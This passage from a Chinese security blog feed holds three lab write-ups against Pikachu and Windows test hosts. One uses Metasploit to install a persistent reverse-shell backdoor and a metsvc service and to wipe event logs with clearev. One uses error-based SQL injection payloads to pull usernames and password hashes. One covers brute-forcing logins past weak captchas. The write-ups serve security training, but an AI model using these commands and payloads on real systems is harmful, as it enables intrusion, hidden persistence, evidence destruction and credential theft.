-r 192.168.135.136 //运行后门程序，-X指定启动的方式为开机自启动，-i反向连接的时间间隔</span><br><span class="line"></span><br><span class="line">[!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.</span><br><span class="line">[!] Example: run post/windows/manage/persistence_exe OPTION=value [...]</span><br><span class="line">[*] Running Persistence Script</span><br><span class="line">[*] Resource file for cleanup created at /root/.msf4/logs/persistence/MYCOMPUTER_20190219.3953/MYCOMPUTER_20190219.3953.rc</span><br><span class="line">[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.135.136 LPORT=4445</span><br><span class="line">[*] Persistent agent script is 99670 bytes long</span><br><span class="line"></span><br><span class="line">meterpreter &gt; background </span><br><span class="line">[*] Backgrounding session 2...</span><br><span class="line">msf exploit(windows/smb/ms17_010_psexec) &gt; back </span><br><span class="line">msf &gt; use exploit/multi/handler    //使用exploit/multi/handler监听连入的backdoor</span><br><span class="line">msf exploit(multi/handler) &gt; set payload windows/meterpreter/reverse_tcp  //设置载荷</span><br><span class="line">payload =&gt; windows/meterpreter/reverse_tcp</span><br><span class="line">msf exploit(multi/handler) &gt; set lhost 192.168.135.134  //设置将反弹到本地来</span><br><span class="line">lhost =&gt; 192.168.135.134</span><br><span class="line">msf exploit(multi/handler) &gt; exploit </span><br><span class="line"></span><br><span class="line">[*] Started reverse TCP handler on 192.168.135.134:4444 </span><br><span class="line">[*] Sending stage (179779 bytes) to 192.168.135.136</span><br><span class="line">[*] Sleeping before handling stage...</span><br><span class="line">[*] Meterpreter session 3 opened (192.168.135.134:4444 -&gt; 192.168.135.136:2364) at 2019-02-19 21:42:12 +0800</span><br><span class="line">[*] Sending stage (179779 bytes) to 192.168.135.136</span><br><span class="line">[*] Sleeping before handling stage...</span><br><span class="line">[*] Meterpreter session 4 opened (192.168.135.1</span><br></pre></td></tr></table></figure><p>或者我们可以使用metsvc模块来留下后门</p><p>metsvc后渗透攻击模块其实就是将Meterpreter以系统服务的形式安装到目标主机，它会上传三个文件：</p><ul><li><p>metsvc.dll</p></li><li><p>metsvc-service.exe</p></li><li><p>metsvc.exe</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">msf exploit(multi/handler) &gt; sessions -i 2 //选择一个会话</span><br><span class="line">meterpreter &gt; run metsvc  //运行metsvc</span><br></pre></td></tr></table></figure><p>清除日志:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">meterpreter &gt; clearev </span><br><span class="line">[*] Wiping 1 records from Application...</span><br><span class="line">[*] Wiping 26 records from System...</span><br><span class="line">[*] Wiping 2281 records from Security...</span><br></pre></td></tr></table></figure></li></ul>]]></content>
    
    <summary type="html">
    
      
      
        &lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;\assets\css\APlayer.min.css&quot;&gt;&lt;script src=&quot;\assets\js\APlayer.min.js&quot; cla
      
    
    </summary>
    
      <category term="主机渗透" scheme="https://louisnie.github.io/categories/%E4%B8%BB%E6%9C%BA%E6%B8%97%E9%80%8F/"/>
    
    
      <category term="靶机实验" scheme="https://louisnie.github.io/tags/%E9%9D%B6%E6%9C%BA%E5%AE%9E%E9%AA%8C/"/>
    
  </entry>
  
  <entry>
    <title>SQL注入之基于函数报错的信息获取</title>
    <link href="https://louisnie.github.io/2019/01/07/SQL%E6%B3%A8%E5%85%A5%E4%B9%8B%E5%9F%BA%E4%BA%8E%E5%87%BD%E6%95%B0%E6%8A%A5%E9%94%99%E7%9A%84%E4%BF%A1%E6%81%AF%E8%8E%B7%E5%8F%96/"/>
    <id>https://louisnie.github.io/2019/01/07/SQL注入之基于函数报错的信息获取/</id>
    <published>2019-01-07T15:38:28.000Z</published>
    <updated>2019-03-04T18:31:39.141Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><p><blockquote class="blockquote-center">人生舞台的大幕随时都可能拉开，关键是你愿意表演，还是选择躲避。</blockquote></p><div align="middle"><iframe frameborder="no" border="0" marginwidth="0" marginheight="0" width="330" height="86" src="//music.163.com/outchain/player?type=2&id=526668900&auto=1&height=66"></iframe></div><h3 id="实验环境"><a href="#实验环境" class="headerlink" title="实验环境:"></a>实验环境:</h3><p>pikachu靶机</p><h3 id="基于函数报错的信息获取"><a href="#基于函数报错的信息获取" class="headerlink" title="基于函数报错的信息获取"></a>基于函数报错的信息获取</h3><p>1.常用的报错函数updatexml(),extractvalue(),floor()<br>2.基于函数报错的信息获取(select,insert,update,delete)</p><h3 id="技巧思路"><a href="#技巧思路" class="headerlink" title="技巧思路:"></a>技巧思路:</h3><p>在MySQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息<br>select/insert/update/delete都可以使用报错来获取信息</p><h3 id="背景条件"><a href="#背景条件" class="headerlink" title="背景条件:"></a>背景条件:</h3><p>后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端</p><h3 id="updatexml函数使用方法"><a href="#updatexml函数使用方法" class="headerlink" title="updatexml函数使用方法"></a>updatexml函数使用方法</h3><p>updatexml():函数是MySQL对XML文档数据进行查询和修改的XPATH函数<br>updatexml()函数作用:改变(查找并替换)XML文档中符合条件的节点的值<br>语法:updatexml(xml_document,xpathstring,new_value)<br>第一个参数:XML文档的名称<br>第二个参数:XML文档的位置(路径),通过xpath定位 ,也可以是表达式,那么数据库便会将这个表达式去执行<br>第三个参数:new_value,string格式,替换查找到的符合条件的<br>注:xpath定位必须是有效的,否则会发生错误</p><h3 id="基于updatexml-报错进行信息获取"><a href="#基于updatexml-报错进行信息获取" class="headerlink" title="基于updatexml()报错进行信息获取"></a>基于updatexml()报错进行信息获取</h3><p>基于报错信息获取数据,必须要有报错信息的返回<br><img src="https://wx2.sinaimg.cn/large/0078beR7ly1fyyi6tu63qj313609hmxs.jpg" alt="image"></p><p>我们使用updatexml()函数构造报错,获取数据库信息<br>使用concat函数将两个字符串一起打印出来,concat中也可以执行表达式(函数)<br>0x7e:为~的16进制,其目的为避免信息不被系统去掉,将结果构造出完整的字符串<br>查看其数据库版本信息:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">123&apos; and updatexml(1,concat(0x7e,version()),0)#</span><br></pre></td></tr></table></figure></p><p><img src="https://wx1.sinaimg.cn/large/0078beR7ly1fyyi7hkmtnj30m708q74l.jpg" alt="image"><br>查看当前数据库信息:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">123&apos; and updatexml(1,concat(0x7e,database()),0)#</span><br></pre></td></tr></table></figure><p><img src="https://ws2.sinaimg.cn/large/0078beR7ly1fyyi81w8e3j30ls08k74k.jpg" alt="image"></p><p>查看当前数据库第一张表:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">123&apos; and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=&quot;pikachu&quot; limit 0,1)),0)#</span><br></pre></td></tr></table></figure></p><p>查出第一个表为httpinfo<br><img src="https://ws3.sinaimg.cn/large/0078beR7ly1fyyicr2lq7j30rz0dbaao.jpg" alt="image"></p><p>依次查询得到的表为httpinfo,membr,message,users,xssblind</p><p>查看users表的字段:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">123&apos; and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=&quot;users&quot; limit 0,1)),0)#</span><br></pre></td></tr></table></figure></p><p><img src="https://ws2.sinaimg.cn/large/0078beR7ly1fyyieczx8aj30oh0bxdg7.jpg" alt="image"><br>得到users表第一个字段为id,第二个字段为username,第三个字段为password,第四个为level</p><p>查看用户名<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">123&apos; and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)#</span><br></pre></td></tr></table></figure></p><p>得到users表的用户名分别为:admin,pikachu,test<br><img src="https://wx1.sinaimg.cn/large/0078beR7ly1fyyifklgyej30ne0be3yu.jpg" alt="image"></p><p>查看其对应的密码<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">123&apos; and updatexml(1,concat(0x7e,(select password from users  where username=&apos;admin&apos; limit 0,1)),0)#</span><br></pre></td></tr></table></figure></p><p>得到admin用户的经过MD5加密的值,<br><img src="https://ws1.sinaimg.cn/large/0078beR7ly1fyyighb282j30o008kgm0.jpg" alt="image"><br>解密为123456<br><img src="https://wx4.sinaimg.cn/large/0078beR7ly1fyyignjjvdj30mr08jt9k.jpg" alt="image"></p><h3 id="extractvalue-函数使用方法"><a href="#extractvalue-函数使用方法" class="headerlink" title="extractvalue()函数使用方法"></a>extractvalue()函数使用方法</h3><p>extractvalue()函数:从目标XML中返回包含所查询值的字符串<br>语法:ExtractValue(xml_document,xpath_string)<br>第一个参数:XML_document是string格式,为XML文档对象的名称,文中为Doc<br>第二个参数:XPath_string(Xpath格式的字符串)<br>XPath定位必须是有效的,否则会发生错误</p><h3 id="基于updatexml-报错进行信息获取-1"><a href="#基于updatexml-报错进行信息获取-1" class="headerlink" title="基于updatexml()报错进行信息获取"></a>基于updatexml()报错进行信息获取</h3><p>获取数据库信息:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">1&apos; and extractvalue (0,concat(0x7e,database()))#</span><br></pre></td></tr></table></figure></p><p><img src="https://ws4.sinaimg.cn/large/0078beR7ly1fyyioxufyjj30js0da3yx.jpg" alt="image"><br>其后续操作与updatexml函数操作一致,我就不继续写下去啦</p><h3 id="floor-函数使用方法"><a href="#floor-函数使用方法" class="headerlink" title="floor()函数使用方法"></a>floor()函数使用方法</h3><p>floor():MySQL中用来取整的函数.<br>使用floor函数必须要满足三个条件:<br>其SQL语句中存在count函数,rand函数,group by 这三个值才可以使用<br>其payload为:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">xxx&apos; and (select 2 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a )#</span><br></pre></td></tr></table></figure></p><p>关于floor报错原理分析请参考此篇文章:<br><a href="http://blog.51cto.com/chichu/2051375" target="_blank" rel="noopener">http://blog.51cto.com/chichu/2051375</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;\assets\css\APlayer.min.css&quot;&gt;&lt;script src=&quot;\assets\js\APlayer.min.js&quot; cla
      
    
    </summary>
    
      <category term="WEB安全" scheme="https://louisnie.github.io/categories/WEB%E5%AE%89%E5%85%A8/"/>
    
    
      <category term="靶机实验" scheme="https://louisnie.github.io/tags/%E9%9D%B6%E6%9C%BA%E5%AE%9E%E9%AA%8C/"/>
    
  </entry>
  
  <entry>
    <title>pikachu靶机实战之暴力破解</title>
    <link href="https://louisnie.github.io/2019/01/02/pikachu%E9%9D%B6%E6%9C%BA%E5%AE%9E%E6%88%98%E4%B9%8B%E6%9A%B4%E5%8A%9B%E7%A0%B4%E8%A7%A3/"/>
    <id>https://louisnie.github.io/2019/01/02/pikachu靶机实战之暴力破解/</id>
    <published>2019-01-02T14:38:28.000Z</published>
    <updated>2019-02-25T14:12:43.372Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><p><blockquote class="blockquote-center">态度决定高度!</blockquote></p><div align="middle"><iframe frameborder="no" border="0" marginwidth="0" marginheight="0" width="330" height="86" src="//music.163.com/outchain/player?type=2&id=5181411&auto=1&height=66"></iframe></div><h2 id="靶机简介"><a href="#靶机简介" class="headerlink" title="靶机简介"></a>靶机简介</h2><p><strong>Pikachu是一个带有漏洞的Web应用系统，在这里包含了常见的web安全漏洞。 是个适合新手练习的靶场</strong><br>Pikachu上的漏洞类型列表如下：<br>Burt Force(暴力破解漏洞)<br>XSS(跨站脚本漏洞)<br>CSRF(跨站请求伪造)<br>SQL-Inject(SQL注入漏洞)<br>RCE(远程命令/代码执行)<br>Files Inclusion(文件包含漏洞)<br>Unsafe file downloads(不安全的文件下载)<br>Unsafe file uploads(不安全的文件上传)<br>Over Permisson(越权漏洞)<br>../../../(目录遍历)<br>I can see your ABC(敏感信息泄露)<br>PHP反序列化漏洞<br>XXE(XML External Entity attack)<br>不安全的URL重定向<br>SSRF(Server-Side Request Forgery)<br>More…(找找看?..有彩蛋!)<br>管理工具里面提供了一个简易的xss管理后台,供你测试钓鱼和捞cookie~</p><h2 id="安装和使用"><a href="#安装和使用" class="headerlink" title="安装和使用"></a>安装和使用</h2><p>Pikachu使用世界上最好的语言PHP进行开发-_-，数据库使用的是mysql，因此运行Pikachu你需要提前安装好”PHP+MYSQL+中间件（如apache,nginx等）”的基础环境，建议在你的测试环境直接使用 一些集成软件来搭建这些基础环境,比如XAMPP,WAMP等,作为一个搞安全的人,这些东西对你来说应该不是什么难事。接下来:<br>–&gt;把下载下来的pikachu文件夹放到web服务器根目录下;<br>–&gt;根据实际情况修改inc/config.inc.php里面的数据库连接配置;<br>–&gt;访问 <a href="http://x.x.x.x/pikachu" target="_blank" rel="noopener">http://x.x.x.x/pikachu</a> ,会有一个红色的热情提示”欢迎使用,pikachu还没有初始化，点击进行初始化安装!”,点击即可完成安装。</p><h2 id="暴力破解实验"><a href="#暴力破解实验" class="headerlink" title="暴力破解实验"></a>暴力破解实验</h2><h2 id="Burte-Force（暴力破解）概述"><a href="#Burte-Force（暴力破解）概述" class="headerlink" title="Burte Force（暴力破解）概述"></a>Burte Force（暴力破解）概述</h2><blockquote><p>暴力破解”是一攻击具手段，在web攻击中，一般会使用这种手段对应用系统的认证信息进行获取。 其过程就是使用大量的认证信息在认证接口进行尝试登录，直到得到正确的结果。 为了提高效率，暴力破解一般会使用带有字典的工具来进行自动化操作。<br>理论上来说，大多数系统都是可以被暴力破解的，只要攻击者有足够强大的计算能力和时间，所以断定一个系统是否存在暴力破解漏洞，其条件也不是绝对的。 我们说一个web应用系统存在暴力破解漏洞，一般是指该web应用系统没有采用或者采用了比较弱的认证安全策略，导致其被暴力破解的“可能性”变的比较高。 这里的认证安全策略, 包括：<br>1.是否要求用户设置复杂的密码；<br>2.是否每次认证都使用安全的验证码（想想你买火车票时输的验证码～）或者手机otp；<br>3.是否对尝试登录的行为进行判断和限制（如：连续5次错误登录，进行账号锁定或IP地址锁定等）；<br>4.是否采用了双因素认证；<br>…等等。</p></blockquote><h3 id="基于表单的暴力破解"><a href="#基于表单的暴力破解" class="headerlink" title="基于表单的暴力破解"></a>基于表单的暴力破解</h3><p>我们使用burpsuite进行暴力破解,由于前端没有验证码等防范暴力破解的措施,我们直接输入用户名密码,发送到burpsuite的intruder模块,一般用户名为admin,administrator(Windows环境)或者root(Linux环境),我设置admin为用户名,对其密码进行爆破<br><img src="https://wx2.sinaimg.cn/large/0078beR7ly1fysptku9v3j30yx0erdgt.jpg" alt="image"><br><img src="https://ws3.sinaimg.cn/large/0078beR7ly1fyspu685cvj30h707ewen.jpg" alt="image"><br><img src="https://ws3.sinaimg.cn/large/0078beR7ly1fyspuumb95j30ki0c20tb.jpg" alt="image"></p><h3 id="不安全的验证码-on-client常见问题"><a href="#不安全的验证码-on-client常见问题" class="headerlink" title="不安全的验证码-on client常见问题"></a>不安全的验证码-on client常见问题</h3><h4 id="验证码作用"><a href="#验证码作用" class="headerlink" title="验证码作用:"></a>验证码作用:</h4><p>1,防止暴力破解<br>2,防止机器恶意注册</p><h4 id="验证码的认证流程"><a href="#验证码的认证流程" class="headerlink" title="验证码的认证流程:"></a>验证码的认证流程:</h4><p>客户端request登录页面,后台生成验证码<br>1,后台使用算法生成图片,并将图片response给客户端<br>2,同时将算法生成的值全局赋值存到session中.</p><h4 id="校验验证码"><a href="#校验验证码" class="headerlink" title="校验验证码:"></a>校验验证码:</h4><p>1,客户端将认证信息和验证码一同提交<br>2,后台对提交的验证码和session里面的进行比较</p><p>客户端重新刷新页面,再次生出新的验证码<br>验证码算法中一般包含随机函数,所以每次刷新都会改变</p><h4 id="不安全的客户端验证码常见问题"><a href="#不安全的客户端验证码常见问题" class="headerlink" title="不安全的客户端验证码常见问题:"></a>不安全的客户端验证码常见问题:</h4><p>1,使用前端js实现验证码(纸老虎)<br>2,将验证码在cookie中泄露,容易被获取<br>3,将验证码在前端源代码中泄露,容易被获取</p><h4 id="开始试验"><a href="#开始试验" class="headerlink" title="开始试验:"></a>开始试验:</h4><p>首先尝试输入错误的用户名,密码+错误的验证码,点击登录页面返回验证码不正确<br>然后输入错误的用户名,密码+正确的验证码,点击登录页面返回用户名或者密码不正确<br>当输入错误的用户名,密码+空验证码,点击登录页面提示验证码不能为空,表示服务端对验证码的有效性做过校验,一切逻辑正常<br>当查看源代码的时候发现是前台生出的验证码<br><img src="https://ws2.sinaimg.cn/large/0078beR7ly1fyspzfud27j31g40jxdi7.jpg" alt="image"><br>如果后台不对前台输入的验证码进行校验的话,那么通过burp代理(客户端和服务端中间人)即可绕过验证码<br>我们使用burp抓包看看是否对输入的验证码进行校验,结果是用户名或者密码不存在<br><img src="https://ws4.sinaimg.cn/large/0078beR7ly1fysq0e8w59j30yz0f9wft.jpg" alt="image"><br>然后换个账号密码继续发包,判断服务器端是否对用户前端输入的验证码进行校验<br><img src="https://wx1.sinaimg.cn/large/0078beR7ly1fysq1dpfgtj30yb0ecgn2.jpg" alt="image"><br>还是用户名密码不正确,但并未返回验证码不正确</p><p>我们都知道当用户输入账号密码和验证码之后,服务器端首先验证验证码是否正确,如果不正确直接返回验证码不正确,如果验证码正确,那么服务器端会接着验证用户名密码是否正确.我们刚刚的结果是用户名或者密码不存在,表示验证码验证那一关我们是完美的避过了,然后再爆破用户名密码即可<br>爆破出用户名为:<br>admin/123456<br>pikachu/000000<br>test/abc123</p><h3 id="不安全的验证码-on-server常见问题"><a href="#不安全的验证码-on-server常见问题" class="headerlink" title="不安全的验证码-on server常见问题"></a>不安全的验证码-on server常见问题</h3><h4 id="不安全的验证码-on-server常见问题-1"><a href="#不安全的验证码-on-server常见问题-1" class="headerlink" title="不安全的验证码-on server常见问题"></a>不安全的验证码-on server常见问题</h4><p>1,验证码在后台不过期,导致可以长期被使用<br>2,验证码校验不严格,逻辑出现问题<br>3,验证码设计的太过简单和有规律,容易被猜解</p><p>针对于第一个验证码在后台不过期的漏洞,开始实验<br>首先尝试输入错误的用户名,密码+错误的验证码,点击登录burp抓返回包页面返回验证码不正确<br>然后输入错误的用户名,密码+正确的验证码,点击登录burp抓返回包页面返回用户名或者密码不正确<br>当输入错误的用户名,密码+空验证码,点击登录burp抓返回包页面提示验证码不能为空,表示服务端对验证码的有效性做过校验,一切逻辑正常</p><p>当刷新页面,客户端向服务器发出请求,生出新的验证码,同时后台会在session中将这个验证码存下来(存下来的目的是为了对用户输入的验证码进行验证),所以当输入错误的验证码或者空的验证码的时候都会提示验证码错误,只有正确的验证码才可以被服务器接受</p><p>但是如果这个验证码在后台不过期或者过期时间较长,足够我们去爆破用户名密码,那么漏洞就产生了.<br>1,首先先正常提交用户名密码验证码,然后发送到repeater模块中<br>2,关闭burp代理功能,刷新页面,会生出新的验证码,记住新的验证码<br><img src="https://wx4.sinaimg.cn/large/0078beR7ly1fysq86aafsj30mp0cfmxu.jpg" alt="image"><br>3,在repeater模块中将新的验证码写入,重放发现其提示是用户名密码错误<br><img src="https://wx1.sinaimg.cn/large/0078beR7ly1fysq9fdt4xj30vb0cudgt.jpg" alt="image"><br>4,将账户名密码替换,试试验证码还有没有效<br><img src="https://ws3.sinaimg.cn/large/0078beR7ly1fysqa9u7bxj30w50dq0ts.jpg" alt="image"><br>5,因为无论怎么替换用户名和密码,验证码都正确,所以那么这一关我们是完美的避过了,然后再爆破用户名密码即可</p><h4 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析:"></a>漏洞分析:</h4><p>其漏洞根本在于服务器端未设定生出验证码的session的过期时间,那么按照PHP语言默认session的过期时间为24分钟,这个验证码24分钟内都是有效的,那么也足够黑客进行暴力破解啦</p><h4 id="修复方法"><a href="#修复方法" class="headerlink" title="修复方法:"></a>修复方法:</h4><p>法一,在php.ini配置文件中设置过期时间<br>法二,在代码中设定该验证码验证过一次之后,就将其session进行销毁(更有效)</p><h2 id="token防止暴力破解"><a href="#token防止暴力破解" class="headerlink" title="token防止暴力破解?"></a>token防止暴力破解?</h2><p>曾经网上有人说可以使用token防止暴力破解,其原理就是当用户打开页面时,后端生出一个token值,token会被存放到session中去,同时服务端会将token发送到前端的表单中,当用户输入账号密码点击确认的时候,客户端会将账号密码+token一起发送到服务器端,当刷新页面之后,token即就会变化</p><p>但是token会被显示在前端的表单中,黑客完全可以通过代码获取表单的token,然后配合暴力破解即可<br><img src="https://ws3.sinaimg.cn/large/0078beR7ly1fysqimk67fj310j0idmy3.jpg" alt="image"></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;\assets\css\APlayer.min.css&quot;&gt;&lt;script src=&quot;\assets\js\APlayer.min.js&quot; cla
      
    
    </summary>
    
      <category term="WEB安全" scheme="https://louisnie.github.io/categories/WEB%E5%AE%89%E5%85%A8/"/>
    
    
      <category term="靶机实验" scheme="https://louisnie.github.io/tags/%E9%9D%B6%E6%9C%BA%E5%AE%9E%E9%AA%8C/"/>
    
  </entry>
  
</feed>
